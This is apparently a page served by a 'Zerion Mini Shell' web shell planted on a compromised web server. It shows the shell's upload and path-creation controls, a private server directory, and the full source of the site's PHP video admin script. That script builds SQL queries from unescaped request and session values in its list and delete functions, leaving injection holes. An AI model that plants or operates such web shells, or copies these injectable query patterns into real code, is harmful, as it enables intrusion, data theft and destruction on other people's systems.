%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/de.nails.tv/admin_back/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/de.nails.tv/admin_back/video.php

<?php

require_once '../config/config.php';

$page = new Page('admin', true);
$page->assign('content', video());
$page->display('admin/page.tpl.html');

////////////////////////////////////////////////////////////////////////////////

function video()
{
    $c = new Content;
    $v = new Inputvalidator;
    $db = Registry::get('db');

    $table = 'video';

    if(isset($_GET['edit'])) {
        $edit = $db->select($_GET['edit'], $table);
        $edit['kapcs_video'] = select_video($edit['id']);
		$edit['kapcs_cimke'] = select_cimke($edit['id']);
        $c->assign('edit', $edit);
    }
    if(isset($_GET['delete'])) delete($_GET['delete']);
    if(!empty($_POST['torol'])) deleteMultiple($_POST['torol']);

    if($_POST && isset($_POST['keres'])) {
        $_SESSION['video_keres_kategoria_id'] = $_POST['kategoria_id'];
        $_SESSION['video_keres_k'] = $_POST['k'];
    }

    if(isset($_GET['kategoria_id'])) {
        $_SESSION['video_keres_kategoria_id'] = $_GET['kategoria_id'];
    }

    if(!isset($_GET['add'])) {
        videoList($c, $table);
    } else {
        $sql = "SELECT v.id AS val, v.cim AS opt 
				FROM video v
				LEFT JOIN kategoria k ON k.id = v.kategoria_id
				WHERE (k.id = 1 OR k.parent_id = 1)
					AND v.storno = 'f'
				ORDER BY k.id, v.cim";
		$alapismeretek = $db->GetAssoc($sql);

        $sql = "SELECT v.id AS val, v.cim AS opt 
				FROM video v
				LEFT JOIN kategoria k ON k.id = v.kategoria_id
				WHERE v.storno = 'f'
					AND v.kategoria_id 
					AND (k.id != 1 AND k.parent_id != 1)
				ORDER BY k.id, v.cim";
		$egyebvideok = $db->GetAssoc($sql);
		
		$kapcs_video = $alapismeretek + $egyebvideok;
		
        $c->assign('kapcs_video', $kapcs_video);

        $sql = "SELECT id AS val, nev AS opt 
				FROM cimkek
				WHERE aktiv = 't'
					AND storno = 'f'
				ORDER BY nev";
        $c->assign('kapcs_cimke', $db->GetAssoc($sql));

		
	}

    $sql = "SELECT k.id, k.parent_id, k.nev
            FROM kategoria k
            WHERE k.storno = 'f'
			ORDER BY k.sorrend";

    $kat = new Tree($db);
    $kategoriaselect = $kat->CreateResult($sql, 0, 0, 2);
    $c->assign('kategoriaselect', $kategoriaselect);

    return $c->fetch('admin/video.tpl.html');
}

function select_video($id)
{
    $db = Registry::get('db');

    $bind = array($id);
    $sql = "SELECT kapcs_video_id FROM video_to_video WHERE video_id = ?";

    return $db->GetCol($sql, $bind);
}

function select_cimke($id)
{
    $db = Registry::get('db');

    $bind = array($id);
    $sql = "SELECT cimkek_id FROM cimke_to_video WHERE video_id = ?";

    return $db->GetCol($sql, $bind);
}

function videoList($c, $table)
{
    $db = Registry::get('db');

    if(!empty($_SESSION['video_keres_kategoria_id'])) {
        $where .= ' AND v.kategoria_id = ' . $_SESSION['video_keres_kategoria_id'];
    }

    if(!empty($_SESSION['video_keres_k'])) {
        $where .= " AND v.cim LIKE '%" . mysql_real_escape_string($_SESSION['video_keres_k']) . "%'";
    }

    $sql = "SELECT v.id, v.file, v.kep, v.cim, v.szoveg, v.kiemelt, v.ajanlott, v.aktiv, v.konvertalas
            FROM video v
			WHERE v.storno = 'f'" . $where . "
			GROUP BY v.id
            ORDER BY v.sorrend";

    $r = $db->Execute($sql);

    $videok = $r->GetArray();

    $c->assign('videok', $videok);
    $c->assign('table', $table);
}

function delete($id)
{
    $db = Registry::get('db');

    $sql = "SELECT file, kep FROM video WHERE id = " . $id;
    $row = $db->GetRow($sql);

    @unlink(Registry::get('dirroot').'/video/' . $row['file']);
    @unlink(Registry::get('dirroot').'/video/' . $row['kep']);

    $sql = "DELETE FROM video WHERE id = " . $id;
    $db->query($sql);
}

function deleteMultiple($arr)
{
    foreach($arr as $key => $val) {
        delete($key);
    }
}
function validate($rec, $v)
{
    $msg = array('Csatornát kötelező megadni!');
    $rec['kategoria_id'] = $v->v($rec['kategoria_id'], 'required, stripHtml', $msg);

    return $rec;
}


?>

Zerion Mini Shell 1.0